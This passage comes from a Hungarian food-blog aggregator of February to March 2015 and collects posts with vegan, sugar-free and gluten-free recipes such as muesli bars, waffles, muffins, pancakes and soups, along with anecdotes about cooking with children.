fokon.Csorgassuk meg a narancsos csokimázzal. Ehhez a 70%-os étcsokit vízgőz felett megolvasztottam, és cseppentettem bele 2-3 csepp narancsolajat.
Csokis-kókuszos almakenyér
2015. március 11. Dulmina tündérkonyhája
Ha már unom a "natúr" változatot valamiből, továbbra is szívesen gondolom újra az alapreceptet. Most az almás püspökkenyér volt a kiindulópont, amit kakaóporral meg kókuszpehellyel dúsítottam. Az eredeti receptből kihagytam a fahéjat, került bele viszont 2 púpozott evőkanál cukrozatlan kakaópor és kevés étolaj. Mazsola helyett pedig kókuszpelyhet használtam (kókuszreszelék is megfelelt volna)
Cukormentes, almás müzliszelet
2015. március 8. Éltető ételek
Már több müzliszeletet készítettem, mindig sikerül egészen mást alkotnom. Az első egy kissé morzsalékos lett, bár az íze kárpótolt ettől az apró problémától. A második próbálkozás, na az igazi bolti állag, annál viszont sokkal finomabb íz. Számomra mégis azért maradt fejlesztés állapotába, mert szerintem egy kissé sok benne az olajos mag és a zsír. Na, azért ettől függetlenül az utolsó morzsáig elfogyott... A mai próbálkozás eredménye egy puha, de mégis finom müzliszelet lett. Hozzávalók: - 20 dkg zabpehely - 2 közepes alma - 10 dkg dió - 10 dkg mazsola - 3 dkg aszalt szilva (kis kockára vágva) - 3 dkg aszalt áfonya - 2 evőkanál arany lenmag - 1 evőkanál szezámmag - 1/2 narancs leve (és rostja is) - 1 kávéskanál fahéj - 1/2 kávéskanál vaníliapor - 2 dkg kókuszolaj Elkészítése: Először is áztassuk be a mazsolát, de csak annyi vízbe, ami éppen ellepi.Tegyük egy zacskóba a diót, majd az esetleges egy kis stressz levezetés jön. Húsgloffolóval jó alaposan verjük szét a diót, morzsalékos, kissé darabos legyen.Az almát mossuk meg, majd szőröstül-bőröstül kockázzuk fel, és az áztatott mazsolával (és a vízével együtt) turmixoljuk krémesre.Mérjünk ki mindent, jól keverjünk össze, és hagyjuk addig állni, amíg a sütőt bemelegítjük. Ez legyen úgy 170 fokon. Ne legyen a massza túl száraz, de ne is folyjon.Nekem van egy 23x23 cm-es szögletes tortaformám, melynek az alja kivehető. Tettem az aljára zsírpapírt, majd beleborítottam a masszát. Jó alaposan szétegyengettem, úgy 1 cm vastag lett.Már csak be kell tenni a sütőbe, és úgy 20-25 percig sütni mindaddig, amíg egy picit barnulni nem kezd a teteje.Ne várjuk ettől a müzlitől, hogy olyan kemény legyen, mint a bolti. Az alma miatt puha, de nem morzsálódik, könnyen ehető és csomagolható. Zsófi lányom, aki igen szereti a hasát, még kitalálta, hogy tegyünk rá házi nutellát és egy kis tejszínhabot. De önmagában is finom volt.
Banán nyalókák
2015. március 3. Gréta konyhája
Ma itthon maradt a fiam, mert szinte az összes óvónéni lebetegedett, így nem volt muszáj oviba mennie. Mivel többnyire délelőtt a konyhában vagyok, szeret nekem besegíteni a finomságok elkészítésében, én meg imádom, hogy egy kreatív, lelkes kuktával tudok dolgozni. A hideg (előző éjszaka hűtőbe tett) banánokból, étcsokiba mártott, kókuszpehelybe, és sósmogyoróforgácsba hempergetett nyalókákat készítettünk. Az étcsokit egyszerűen gőz felett megolvasztottuk, elvágtuk félbe a banánokat, hurkapálcát szúrtunk a közepébe, mártottunk, hempergettünk, egy sütőpapírra tettük őket, majd vissza a hűtőbe. Minden gyermekes szülőt arra buzdítok, hogy engedje be a gyermekét a konyhába. Lefoglalja őket, alkotnak, együtt vagyunk, és lelkesedve eszik az általuk készített, házi egészséges édességeket. Tökéletes program!
Szezámos tepsis krumpli
Ezen a télen valahogy kevesebb krumplit ettünk. Egyszer csak a téli zöldségek tárolóhelyén észrevettem a fél zsák burgonyát, ami egy-két kezdetleges csírát eltekintve nagyon jól átvészelte a telet. Nem sokáig gondolkodtam, mi lesz a sorsa. Gyerekkoromban - emlékszem - otthon szezámmagos tepsis krumplit ettünk alkalmanként. Eljött az idő, hogy magunknak is elkészítsem ezt az egyszerű ételt. :)
Hozzávalók:
- kb. 1 kg burgonya
- só
- víz
- kókuszzsír
- sütőpapír
- szezámmag
Elkészítés:
Miután a krumplikat megpucoltuk, megmostuk és karikákra szeleteltük, sós vízben előfőzzük őket úgy, hogy még kemények maradjanak. Egy tepsit kibélelünk sütőpapírral, majd a kissé átfőtt krumplikat (természetesen a vizet leszűrve) ráterítjük. Némi kókuszzsírt eloszlatunk rajta, majd megszórjuk szezámmaggal. Kb. 40-50 perc alatt közepes lángon készre sütjük. Köretként is fogyaszthatjuk. Férjem azonban nagyon szereti magában is a sült krumplit (nem csak a hagyományos értelemben vett krumplit, hanem ezt is), így ő simán magában is megette.
Természetesen ez a krumpli felturbózható még hagymával és/vagy gabonakolbásszal és/vagy tofuval, stb.
Mákos-kókuszos trüffel
2015. március 1. Éltető ételek
Nagyon szeretem a mákot, igazi kalciumbomba. Bár a magas kalciumtartalmán kívül számos jótékony hatással bír. Ez egy igazán egyszerű, és gyors finomság, ha valami édességre vágyunk. Hozzávalók: - 3 dkg darált mák - 3 dkg kókuszreszelék - 5 dkg datolyavaj (2-3 szem datolya) - 5 dkg aszaltszilva lekvár (kb. 5-6 db aszaltszilva) - 1/2 kávéskanál fahéj - 2-3 csepp citromolaj Elkészítése: Először is a datolyát és a szilvát vágjuk kis darabkákra, majd annyi vizet öntsünk rá, hogy éppen ellepje. Néhány óra elteltével (a datolya akár egész éjszaka ázhat) botmixerezzük össze. A mákot daráljuk le, majd mindent gyúrjunk össze. Édesítésre nincs szükség, hiszen az aszalványok kellően megédesítik, megízesítik. Forgassuk meg kókuszreszelékbe.
Édes bundás kenyér kesudiós-banános töltelékkel
Bundás kenyér édes változatában nekem ez volt az első próbálkozásom. Amennyire ódzkodtam tőle az elején, a végére csak annyi volt a gondolatom, de kár, hogy elfogyott... :)) Próbáljátok ki, nem bánjátok meg! Édes bundás kenyér kesudiós-banános töltelékkelElkészítési idő: kb. 25 perc Hozzávalók (2 főre): A pirítóshoz 60 g kesudiókrém 1/2 tk. őrölt vanília 1 csipet tengeri só 1 ek. agave szirup 4 szelet teljes kiőrlésű kenyér 1 banán A bundázáshoz 60 g teljes kiőrlésű liszt 105 ml szójatej 30 g agave szirup 1 tk. őrölt vanília 1 csipet tengeri só 1/2 tk. őrölt fahéj 30 g cukormentes kukoricapehely 10 g puffasztott amaránt 5 ek. kókuszolaj A kesukrémet az őrölt vaníliával, a sóval és az agave sziruppal krémesre keverjük, majd ezzel a krémmel bekenjük a kenyérszeleteket. Meghámozzuk a banánt, vékony szeletekre vágjuk és elosztjuk két szelet kenyéren. Mindegyik banános szeletre ráteszünk egy másikat is, és kicsit összenyomjuk. A bundázáshoz egy habverővel összekeverjük a lisztet a szójatejjel, az agave sziruppal, a vaníliával, a sóval és fahéjjal. A kukoricapelyhet kézzel összemorzsoljuk, egy mély tányérba tesszük, és elkeverjük a puffasztott amaránttal. A kókuszolajat felhevítjük egy serpenyőben. A kenyérszeleteket belemártjuk a lisztes keverékbe, majd belehempergetjük az amarántos kukoricapehelybe. A szendvics mindkét oldalát 3-4 percig sütjük a kókuszolajban közepes hőfokon. A vékonyabbik oldalát is süssük meg, a kenyeret kicsit az élére állítva. Papírtörlőre szedjük és friss gyümölccsel tálaljuk. Forrás: Attila Hildmann: Vegan for Fit
Vegán banános mandulavajas gofri
2015. február 27. Zizi kalandjai
Új családtagunk van… egy gofrisütővel bővültünk! Már nagyon rég szerettem volna egyet és néhány hete valóra váltottuk ezt az álmom. Ráadásul ilyen virág formájút vettünk, ami öt szívecskéből áll össze valójában. Így is esszük a gofrit, széttépkedjük szívecskékre, megkenjük mandulavajjal és almakockákat rakunk rá. A képen látható kis tálka juharszirup csak eszköz volt a képhez, természetesen most a cukormentes hónapban nem eszünk ilyet sem. Egyébként a banánnak köszönhetően kellemesen édes a gofri, nekünk így is jó.
A gofriról egyetlen fotó készült, minimál stylinggal, mert ugye éhes apa, éhes Ádi és éhes anya is reggel, szóval nincs idő gofrisütés közben percekig állítgatni a fényképezni kívánt ételt, na és persze fotózni. Mostanában amúgy is a minimál dizájn jellemző a blogomra. Egy rohangáló 22 hónapos mellett nincs lehetőségem annyi időt fordítani a stylingra, mint korábban. Igazából lassan abba a korba kerül, hogy előléptetem fotós és styling asszisztensnek, úgyis annyit sürög-forog a konyhában és a fotózások alkalmával ő maga is próbálkozik, szóval megérdemli az előléptetést. Szerintem!
Akinek van gofrisütője, hétvégén feltétlen próbálja ki a receptet! Akinek pedig tuti vegán gofri receptje van, az ne habozzon megosztani velem kommentben!
Vegán banános mandulavajas gofri
Hozzávalók kb. 5-6 db-hoz:
– 1 db érett banán, villával pépesre törve
– 2 teáskanál mandulavaj (földimogyoróvaj, kesudióvaj is használható)
– 2 teáskanál frissen facsart citromlé
– 1 teáskanál fahéj
– 1 teáskanál chia mag
– 1/4 teáskanál só
– 1 és 1/2 bögre mandulatej (rizstej és zabtej is használható)
– 1 bögre és 4 teáskanál tönköly fehérliszt
– kókuszzsír, sütéshez
Egy tálban törjük pépesre a felszeletelt banánt. Adjuk hozzá a citromlevet, mandulavajat, chia magot, fahéjat, sót és keverjük el. Öntsük hozzá a mandulatej felét, majd lassan kezdjük el adagolni hozzá a lisztet. A végén öntsük hozzá a maradék mandulatejet és keverjük simára.
Melegítsük fel a gofrisütőt, kenjük be kókuszzsírral és süssük ki a gofrikat. Ha tányérra tesszük gyorsan megpuhulnak, ha rácson hagyjuk kihűlni, akkor tovább maradnak ropogósak, de egy idő után így is megpuhulnak. Én mindkét változatot szeretem.
Csokis-kókuszos muffin
2015. február 25. Éltető ételek
Mostanában gyakran készítek muffint, reggel egy kicsit korábban felkelek, így mire iskolába indulnak, addigra ki is sül. Fincsi uzsonna lesz belőle. Az alaprecept ez a muffin, melyen változtattam még ezt-azt. Hozzávalók: - 8 dkg kókuszreszelék - 0,5 dl cukrozatlan meggylé - 12 dkg teljeskiőrlésű tönkölyliszt - 0,5 teáskanál szódabikarbóna - 1 evőkanál kakaópor - fél tábla 70%-os étcsoki - 2 marék magozott meggy (én tettem el nyáron meggybefőttet) - csipet só - 1 kávéskanál vanília - 5 dkg olvasztott vaj/kókuszolaj - 8 dkg méz - 1-1,5 dl növényi tej - 1 evőkanál őrölt lenmag (3 evőkanál vízbe áztassuk be) Elkészítése: A kókuszreszeléket leöntjük a meggylével, majd a többi száraz összetevőkkel elkeverjük. Ezután a nedves részt is összedolgozzuk, majd a két részt kis mozdulatokkal homogén masszává keverjük. Én többnyire 24 muffinformában szoktam sütni. Kb. 25 per alatt 180C-on megsül. Hagyjuk kihűlni. Jó étvágyat!
Almás palacsinta almaszósszal
2015. február 24. Éltető ételek
Ennél egyszerűbben és gyorsabban palacsintát sütni...imádom. 10 perc múlva már falatozhatjuk. Készítettem hozzá egy kis almaszószt, így a kettő együtt tökéletes desszert így kora délután. Ha van egy kis időtök, próbáljátok ki. Babáknál a glutén bevezetéséhez tökéletes étel. Hozzávalók: - 10 dkg teljeskiőrlésű tönkölyliszt - 1 alma - 1,5 dl növényi tej és víz keveréke - 1 késhegynyi szódabikarbóna - csipet só - 1/2 kávéskanál vaníliapor - 1 kávéskanál fahéj vagy mézeskalács fűszerkeverék - 1-2 kávéskanál kókuszvirágcukor Elkészítése: Először is mérd ki a lisztet. Jó alaposan mosd meg az almát (én em-bioba beáztatom), majd nagylyukú reszelőn reszeld le. Add hozzá a fűszereket, majd öntsd hozzá fokozatosan a tejet. Jó sűrű, nokedli tészta állaga lesz. Hagyd picit pihenni. Egy serpenyőt melegíts fel, és kend ki egy pici kókuszolajjal. 1 evőkanálnyi mennyiséget halmozz a serpenyőbe, pár perc alatt süsd meg mindkét oldalát. Én rácsra szoktam tenni, hogy ne párásodjon be. Almaszósz: Egy almát vágj pici kockára vagy nagylyukú reszelőn is reszelheted. Egy serpenyőt melegíts fel, majd tegyél bele 1 kávéskanál mennyiségű kókuszolajat. Párold meg, szórj bele fahéjat és egy kis marék durvára tört diót. Egy leheletnyi kókuszvirágcukorral megszórhatod. Én tettem hozzá 1 evőkanálnyi kókuszkrémet is.
Ízletes banánkarikák
2015. február 21. Éltető ételek
Pár nappal ezelőtt volt az oviban farsang, ahova ajánlott volt a szülőknek ételt-italt vinni. Hát... vittek is a szülők fornettis és egyéb "finomságokat", de gyümit csak én vittem egyedül. Dekoratív, finom és a gyerekeknek is ízlett. Hozzávalók: - banán kókuszos - kókuszreszelék - ízlés szerint kókuszvirágcukor, de nyugodtan el is hagyható - vaníliapor kakaós - kakaópor - kókuszvirágcukor - vaníliapor Elkészítése: Szerintem egyértelmű. Karikázzuk fel a banánt. Jöhet egy kis vízfürdő, hogy rátapadjon a kókusz. A kakaós esetében nem szükséges vízbe mártani.
Mogyoró müzliszelet 2.0
2015. február 21. Éltető ételek
A narancsos-csokis müzliszelet után fellelkesülve ismét belevágtam egy új készítésébe. Nos, ez teljesen másképp készül, mint az előző, az állaga is sokkal-sokkal jobb lett, SŐT, olyan lett mint a bolti. Isteni finom, de még ezen is van mit változtatni, mármint az összetételén. Ez egy kissé zsíros az olajos magok miatt (az ízén azért nem érződik), és a méz mennyiségét aszalvánnyal fogom helyettesíteni. DE, így is nagyon finom, bátran készítsétek el. Biztos vagyok benne, hogy sokszor fog az uzsonnás dobozba kerülni. Hozzávalók: - 10 dkg nagyszemű zabpehely - 10 dkg aprószemű zabpehely - 10 dkg napraforgómag - 10 dkg mogyoró - 10 dkg dió - 2 evőkanál szezámmag - 10 dkg mogyoróból készült mogyoróvaj (vagy készen is kapható) - 12 dkg méz - 8 dkg kókuszvirágcukor - 12 dkg kakaóvaj/szűz kókuszolaj (ami éppen van) - 1/2 kávéskanál vaníliapor - 3-4 csepp narancsolaj - 5 dkg kókuszreszelék - 3 dkg mazsola Elkészítése: Először is a diót és a mogyorót tegyük egy zacsiba, és egy húsgloffolóval törjük jó morzsásra, darabosra. A zabpehelyt és az olajos magokat tegyük egy száraz tepsibe, majd tegyük be a sütőbe. 170 fokon úgy 20 percig pirítsuk, de folyamatosan keverjük-kavarjuk, hogy meg ne égjen. Éppen csak legyen egy kis színe és illata. Közben egy lábasba tegyük bele mézet, a kókuszcukrot és a mogyoróvajat. (Én kávédarálóval csináltam krémessé a mogyorót.) Lassú lángon melegítsük, majd öntsük hozzá a vízgőz felett felolvasztott kakaóvajat vagy a kókuszolajat. Nehezen fog elegyedni, de sikerülni fog. Adjuk hozzá a vaníliaport és a narancsolajat. A megpirított magokat/zabot tegyük egy nagy edénybe, adjuk hozzá a kókuszreszeléket és a mazsolát is. Öntsük rá a mogyorós-cukros masszát. Ez még forró, ezért fakanállal óvatosan keverjük jól össze, majd óvatosan kézzel. Nekem van egy 23x23 cm-es szögletes tortaformám, melynek az alja kivehető. Tettem az aljára zsírpapírt, majd beleborítottam a masszát. Jó alaposan szétegyengettem, úgy 1 cm vastag lett. Jól nyomkodjuk bele, de még mindig meleg, vigyázz a kezedre. De ezt még kihűlés előtt mindenképp meg kell tenni! Tedd félre, hogy jól kihűljön. Ezután kedved szerint szeleteld. Könnyen és szépen szeletelhető.
Ananászos csípős tofu kuszkusszal
2015. február 21. Vegán muflon
Brit tudósok bebizonyították, hogy minden 90-es évekbeli dancefloor előadónak megvan a maga megfelelője a növényvilágban:
A növényi alapú táplálkozással kapcsolatban felmerülő erkölcsi aggályaimat közben sikerült némileg tompítani azáltal, hogy belegondoltam: a homok és az őrölt bazalt még mustárral is gusztustalanul mutatna a svédasztalon. És miközben ananászt hámoztam a következő specialitáshoz, egyszer sem nyikkant meg, hogy "Sing Hallelujah". Így tehát lelkiismeret-furdalás nélkül készítsük elő az alábbiakat:
1 db ananász 30 dkg natúr tofu 1 fej vöröshagyma 1/2 hegyes erőspaprika 2 dl (azaz egy pohár) szójajoghurt 2 evőkanál kókuszreszelék 1 evőkanál liszt só, bors 15 dkg kuszkusz curry ízlés szerint A kuszkuszt egy tálba helyezzük, majd felöntjük kb. megegyező mennyiségű forró vízzel, egy kiskanál olívaolajat adunk hozzá, robosztus módon lefedjük, és negyed órára félretesszük. A felkockázott hagymát olívaolajon megfuttatjuk, majd hozzáadjuk a szintén felnyiszatolt tofut. Ízlés szerinti (esetemben egy IFA-platónyi) curryt adagolunk hozzá. Pár percig együtt pároljuk, majd az Its My Life dúdolása közben hozzáadjuk a feldarabolt, meghámozott ananászt, a felaprított hegyes erőspaprikát és egy kevés vizet. Fedő alatt kb. tíz percig közepes tűzön főzzük. Eközben a szójajoghurtba belehabarjuk a lisztet és a kókuszreszeléket, és felöntjuk vele a kész ananászos esszenciát. Összekeverjük a kuszkusszal, és szervírozzuk.
Gluténmentes almás pancake gesztenyekrémmel és málnával
2015. február 19. Éltető ételek
Ebéd után egy gyors édességre vágytam. A terv az volt, hogy almás legyen, gluténmentes és finom. Nos, szétnéztem a hűtőben, és ez lett belőle. Szerintem gyakran el fogom készíteni. Hozzávalók: - 5 dkg gesztenyeliszt - 5 dkg zabliszt - 1 teáskanál útifűmaghéj - 1 késhegynyi szódabikarbóna - kb. 15 dl risztej - 1 közepes alma - késhegynyi fahéj - késhegynyi vaníliapor - csipet só - kevéske kókuszvirágcukor vagy datolyavaj Gesztenyekrém: - cocomas kókuszkrém - cukrozatlan gesztenye (a Sparban szoktam venni) - kókuszvirágcukor - vaníliapor - málna vagy más savanykás gyümölcs Így készítsd el: Először is mérd ki a kétféle lisztet. Jó alaposan mosd meg az almát (én em-bioba beáztatom), majd nagylyukú reszelőn reszeld le. Add hozzá a fűszereket, majd öntsd hozzá fokozatosan a tejet. Jó sűrű, nokedli tészta állaga lesz. Hagyd picit pihenni. Egy serpenyőt melegíts fel, és kend ki egy pici kókuszolajjal. 1 evőkanálnyi mennyiséget halmozz a serpenyőbe, pár perc alatt süsd meg mindkét oldalát. Én rácsra szoktam tenni, hogy ne párásodjon be. A krémhez egyszerűen keverd össze az alapanyagokat. Kóstolgasd, ízesítsd kedved szerint. Rétegezd egy tányérra a palacsintát. Kend meg krémmel, majd tegyél rá málnát. Jó étvágyat.
Mit eszik a vegagyerek (vegán baba)? + Vegagyerek előadás
2015. február 18. Zizi kalandjai
Néhányan kértétek, hogy az ételek fotója mellett írjak arról is, hogy hogyan néz ki egy átlagos nap nálunk az étkezést tekintve. Ádinak többféle reggelit készítünk, mikor melyiket: eszik kásákat, gyümölcsöket, palacsintát, gofrit vagy mostanában bevezettük a tartalmas smoothiekat is, tehát így indul a nap. Reggeli és ebéd között biztos van még valamilyen nasi, többnyire a nyers zöldségeket rágcsálja, amelyekből az ebéd készül. Ebédre aztán főtt étel van, ezeknek láthatjátok a fotóit ebben a sorozatban. Igyekszem változatos, érdekes maradni íz, textúra, szín területén is. Uzsonna többnyire gyümölcs vagy valamilyen ropogtatni való (kölesgolyó, puffasztott rizsszelet mandulavajjal, stb.) vagy magvak (dió, kesudió, törökmogyoró, mandula, stb.). Vacsorára hideget eszünk: félbarna, teljeskiörlésű vagy rozs kenyér valamilyen növényi pástétommal vagy vegazsírral és ehhez társul rengeteg zöldség, mint avokádó, újhagyma, retek, uborka, csírák, olívabogyó, savanyú káposzta, rukkola, mizuna.
Ádi nagy kedvence lett a leveleskel, nyersen is rágcsálja, meg párolt formában is imádja. Szereti még a tofut, a narancsot, a tésztát, a rizst, a humuszt, a savanyú káposztát, az avokádót, az uborkát, a brokkolit és a csírákat. Édesség fronton tartjuk magunkat, cukrosat nem eszik, de sütöttem vegán banánkenyeret, amibe került 3 evőkanál juharszirup és ebből evett – ízlett neki. Nagyon jó az étvágya, mindent megkóstol és minden ízlik is neki. Ritkán előfordul, hogy valamihez nincs kedve, de lehet, hogy másnap abból a valamiből eszik legtöbbet. Ja, és kétszer evett már egy-egy falat főtt tojást.
Érdeklődik a főzés iránt, figyeli, ahogyan főzök, kéri, hogy vegyem fel, hogy lássa, mi történik a gáztűzhelyen. Van neki jó pár “gasztro játéka”: fa szeletelhető gyümölcs- és zöldség készlete; textil zöldség- és gyümölcs készlete; edények és keverő eszközök. Ja és érdekli a fotózás is… ezután a kép után lepakolt a fehér alapról és odarakott egy tál leveleskelt, majd azt is elkezdte “fotózni”. Azt hittem, hogy a cukiságot nem lehet überelni… de lehet. Szóval anya minden alapot megteremt, hogy a gyerekből sikeres gasztroblogger legyen egy nap!
Plusz egy hír… 2015. február 23-án (hétfőn) 18-20 óráig egy beszélgetés erejéig a Vega Baráti Kör vendége leszek a Magnet Közösségi Házban (1062 Budapest, Andrássy út 68., belső udvar). Az est témája nem meglepő módon: Mit eszik a vegagyerek (vegán baba)? A program ingyenes és minimális kóstolóval is készülök. A beszélgetés Facebook eseményt itt találjátok. Várlak benneteket sok szeretettel!
És akkor jöjjenek az étel fotók…
Sütőtök krémleves savanyú káposztás kölesfasírttal
Téli zöldség curry barnarizzsel
Rozspelyhes sütőtök fasírt golyók (ehhez nagyon hasonló) paradicsomos spagettivel
Kelkáposzta főzelék “virslis” kiflivel
Sütőtökös csicseriborsó curry (ehhez nagyon hasonló) kölessel
Zöldséges lencse ragu, pirított citromos fokhagymás leveleskel, maradék tört burgonya és rizs
Diósült, pirított citromos fokhagymás leveleskel, sütőtökös burgonyapüré és pirított narancsos kelbimbó (ez volt a december 25-i ebédünk )
Vegán töltött káposzta (anyukám főzte karácsonykor, mennyei, hozom majd a receptjét)
Tepsiben sült rozmaringos zöldségek (édesburgonya, burgonya, vöröshagyma, fokhagyma), pirított citromos fokhagymás leveleskel, maradék spenótos tészta és sült szejtán
Brokkoli pestos tészta
Kókuszos mandulavajas zabkása dióval reggelire
Póréhagyma krémleves pirított tökmaggal és tökmagolajjal
2015. február 17. Éltető ételek
Imádom a krémleveseket. Ebédre is laktató, és úgy főzök, hogy még vacsorára is jusson egy tányérkával. A póréhagyma igazi téli zöldség, most sok helyen lehet kapni. Érdemes kipróbálni. Hozzávalók (3-4 adag): - 1 nagy póréhagyma - 3 közepes burgonya - 2-3 gerezd fokhagyma - 1 közepes méretű sárgarépa - úgy 10-15 cm-es szárzeller - 1 kiskanál kókuszolaj - jó sok bors, só - pirított tökmag, pici tökmagolaj - kevéske tejszín Elkészítése: A zöldségeket tisztítsuk, majd daraboljuk. Nem lényeges, hogy milyen formára, hiszen pürésítve lesz minden. Egy edénybe tegyük bele a kókuszolajat, majd a zöldségeket. Folyamatosan táncoltassuk benne a zöldségeket, majd öntsünk rá vizet. Sózzuk, borsozzuk, majd főzzük lassú tűzön puhára. Elő a botmixer, majd löttyintsünk bele egy kevéske (növényi)tejszínt. Amikor kiszedtünk a tányérkákba, akkor szórjuk meg pirított tökmaggal, majd pici tökmagolajjal locsoljuk meg.
Gesztenyés puding pirított mogyoróval
2015. február 16. Éltető ételek
Tudjátok mi a különbség a puding és a kása között? Nos, ha az egészséges alapanyagokból van, és nem pl. keményítőből, akkor SEMMI. Egy icipici különbség azért mégis lehet. A kását többnyire pehelyből készítjük, míg a pudingot lisztből vagy darából. A puding így készülhet köleslisztből, zabpehely darából, vagy éppen rizsdarából/lisztből. Nos, ez a recept is barnarizsből készült. Van egy pelyhesítőm, mellyel a rizst a keménysége miatt pelyhesíteni ugyan nem lehet, de jó darát tud készíteni. Hozzávalók: - 5 dl növényi tej-víz keveréke - 10-12 dkg barnarizs - késhegynyi vaníliapor - késhegynyi fahéj - 6 dkg natúr darált gesztenye (A Sparban lehet venni cukrozatlan, natur, főtt, darált gesztenyét) - 4-5 csepp narancsolaj - ízlés szerint kókuszvirágcukor - maréknyi mogyoró - fél tábla 70%-os étcsoki Elkészítése: - A folyadékot felteszem főni, csipet sót, fahéjat és a vaníliát is beleszórom. - Hozzáöntöm a rizsdarát. Úgy 15 perc alatt készre főzöm. - Leveszem a tűzről, majd hozzákeverem a gesztenyét és a narancsolajat. Édesítem, majd hagyom kihűlni. - Mielőtt tálba kiszedem, beleteszem a pici darabokra vágott csokit. - A mogyorót késsel feldarabolom, majd száraz serpenyőben egy picit megpirítom. - Tálaláskor friss gyümölccsel, pl. málnával, eperrel díszítem.BABAKONYHA TIPP: A gesztenye a babák első ételei között lehet. Mielőtt a csokit és a narancsolajat hozzáadjuk, szedjünk ki a babánknak belőle.
Vanília kivonat és vaníliás cukor házilag
2015. február 15. Éltető ételek
A boltokban lehet kapni vaníliás cukrot, melybe inkább csak aroma van, és nem a valódi vanília. Érdemes készíteni mindkettőt házilag, és az ételektől függően bármelyiket nyugodt szívvel használhatjuk. Ajándéknak is nagyon szuper. Vanília kivonat elkészítése: - 1 vaníliarúd - házi pálinka Először hosszába felvágtam a vaníliarudat, és kissé szét is nyitottam. Beletettem egy üvegbe, majd ráöntöttem a pálinkát. Naponta felráztam, úgy 2-3 hét alatt isteni finom illata lesz, és szép barna színű. Vaníliás cukor készítése: - kókuszvirágcukor - 1 vaníliarúd Itt szintén felvágtam a vaníliarudat, akár ki is kaparhatjuk a belsejét. Majd vágjuk fel úgy 2 cm-es darabkákra. Ezt tegyük egy üvegbe, és öntsük rá a kókuszvirágcukrot. Naponta rázzuk jól össze. Szintén 2-3 hét múlva már használhatjuk is házi vaníliás cukrunkat.
Kakaós-mogyoróvajas valentin napi süti
Gondolom ti is érzitek már a tavaszt a levegőben. Végre süt a nap, csicseregnek a madarak, rügyeznek a fák. Holnap itt a valentin nap, ami egy jó alkalom arra, hogy kifejezzük szeretetünket a számunkra kedves embereknek. Tehetjük ezt virággal, pár kedves szóval, ágyba vihetjük a reggelit, vagy készíthetünk számára valami finomságot. Én szinte mindig az utóbbit választom. Ez a sütemény egy egyszerű, könnyen elkészíthető recept. Ezeket szeretem a legjobban. Hozzávalók: 2 bögre durvára őrölt zabpehely 1 bögre tönkölyliszt (teljes kiőrlésű/finom) 3 ek. holland kakaópor 1 csomag foszfátmentes sütőpor 1 ek.nádcukor őrölt vanília 2 ek. kókuszzsír 1,5 bögre zabtej fél üveg mogyoróvaj 2 ek. agavé szirup fél citrom leve A 2 bögre zabpelyhet én aprítóval őröltem meg, de természetesen használhatunk zabpehelylisztet is akár. Aki édesszájú, az több cukorral vagy sziruppal is készítheti. A mogyoróvaj nálam szintén házi készítésű volt (hamarosan ezt is megosztom), de a bolti is megfelel. Házi szederlekvárral tálalom! :) 1. A zabpelyhet és liszet jól elkeverem a többi száraz hozzávalóval. 2. A kókuszzsírt megolvasztom a zabtejjel, majd hozzáadom a lisztes keverékhez. Hozzáadom a citromlevet, az agavé szirupot és a mogyoróvajat. 3. Jól elkeverem, összedolgozom a masszámat, majd egy rövid ideig állni hagyom, hogy a zabpehely megszívhassa magát. 4. Sütőpapírral kibélelt tepsire egy evőkanál segítségével kis halmokat rakunk, majd 180 fokra előmelegített sütőben 15-20 perc alatt kisütjük őket. Langyosan a legfinomabb, de 1-2 napig dobozba téve puha marad. Ani Tisztán,tudatosan!
Tönköly fánkocskák
Amikor valami hagyományosra vágyunk akkor jó hír, hogy például a hagyományos fánkot is lehet egészségesebbé tenni, reformosabb verzióban elkészíteni. A titok az alapanygokban rejlik.
Az alábbi fánk: Tej,-tojásmentes.
Hozzávalók:
500 ml rizstej
7 dkg nádcukor
1 citrom reszelt héjja
2,5 dkg élesztő
csipet só
60 dkg liszt ( annyi liszt amennyit a tej felvesz, rugalmas tészta)
7 dkg olvasztott, langyos bio margarin
Kovászt készítünk: 1,5 dl tejben felolvasztjuk alacsony láng alatt a nádcukrot és a 2,5 dkg élesztőt, 4-5 evőkanál liszttel és a langyos, cukros tejből kovászt készítünk. Megvárjuk, hogy felfusson az élesztő és utána összegyúrjuk a többi hozzávalóval. Alaposan kidagasztjuk és a végén adjuk hozzá az olvasztott, langyos margarint. Átgyúrjuk, dagasztjuk és 1 órát meleg helyen, letakarva pihentetjük, kelesztjük. Kiborítjuk és újjnyi vastagra nyújtjuk. Tetszőleges nagyságú fánkokat szaggattunk, amelyeket további 30 percig pihentettünk. Bő kókuszolajat hevítünk és mindkét oldalukat aranybarnára sütjük.
Szívsüti, nemcsak Valentin napra
2015. február 9. Éltető ételek
Nem mintha híve lennék a Valentin napnak, de ha már van, egy pici figyelmességgel kedveskedhetünk párunknak. Bármilyen keksz tésztából szaggathatunk szívet, akár mézeskalácsból is. De ezt is kipróbálhatod. Ha nem ragaszkodsz a gluténmentességhez, akkor zabliszt helyett használhatsz tönkölylisztet is. Hozzávalók: - 10 dkg zabliszt - 5 dkg gesztenyeliszt - 1 evőkanál útifűmaghéj - 4 dkg kókuszvirágcukor - 2 mokkáskanál sütőpor - 1/2 mokkáskanál szódabikarbóna - 3 evőkanál gránátalma mag - 1-2 evőkanál gránátalma lé - 5 dkg bio vaj vagy kókuszolaj - mandulatej (szükség szerint) - csipet só - tetejére: manduladarabkák, gránátalmamag Elkészítése: - A száraz hozzávalókat keverjük össze. - Morzsoljuk el benne a hűtőhideg vajat. - Adjuk hozzá a gránátalmát és a levet. Majd ha még szükséges, kevés mandulatejjel gyúrjuk össze. Egy kissé ragadni fog. - Csomagoljuk be folpackba, majd tegyük be a hűtőbe 1-2 órára. - Lisztezett deszkára tegyük a tésztát, majd a tetejére a folpack, és nyújtsuk ki úgy fél cm vastagra, - A tetejére tegyünk manduladarabkákat és gránátalmamagot. - Előmelegített sütőben süssük úgy 10-12 percig.
Vegán savanyú káposztás köles fasírt
2015. február 5. Zizi kalandjai
Ha van egy kis maradék főtt kölesünk, gyorsan megleszünk ezekkel a fasírtokkal. Ha nincsen és nekiállunk főzni, akkor használjuk ki az időt és készítsünk elő minden mást, így mire a köles megfő, már csak keverni-kavarni kell, formázni a fasírtok és megsütni.
